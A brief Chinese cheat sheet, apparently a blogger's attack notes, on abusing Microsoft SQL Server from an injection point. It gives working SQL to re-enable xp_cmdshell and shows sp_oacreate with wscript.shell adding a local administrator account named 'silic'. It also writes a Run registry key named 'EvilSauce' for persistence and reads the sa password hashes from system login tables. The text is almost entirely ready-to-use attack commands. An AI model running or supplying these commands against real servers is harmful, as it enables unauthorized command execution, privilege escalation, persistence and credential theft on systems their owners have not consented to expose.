mssql数据库sa账户xp_cmdshell解除禁用

使用xp_cmdshell执行命令的时候,系统回显如下:


Microsoft OLE DB Provider for SQL Server 错误 '80040e14'

SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。


MSSQL中控制该功能开启和关闭的SQL语句

##关闭
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
##开启
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

在注入点运行上述语句时,如果出现这样的回显


标记message: 配置选项 'xp_cmdshell' 不存在,也可能是高级选

执行如下语句即可解决

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'user connections',1;RECONFIGURE;--

使用wscript添加管理员

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'d:\\cmd.exe /c net localgroup administrators silic /add'

d:\\cmd.exe是自己上传的cmd.exe的路径,或者系统有权限都可以。/c后面是cmd语句,别忘了引号闭合语句


映像劫持

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='Software\Microsoft\Windows\CurrentVersion\Run',@value_name='EvilSauce',@type='REG_SZ',@value='c:\\windows\\explorer.exe'

读取MSSQL用户信息

SQL 2000:

SELECT password from master.dbo.sysxlogins where name='sa' 
SELECT * from master.dbo.sysxlogins

SQL 2005:

SELECT password_hash FROM sys.sql_logins where name='sa' 
SELECT * FROM sys.sql_logins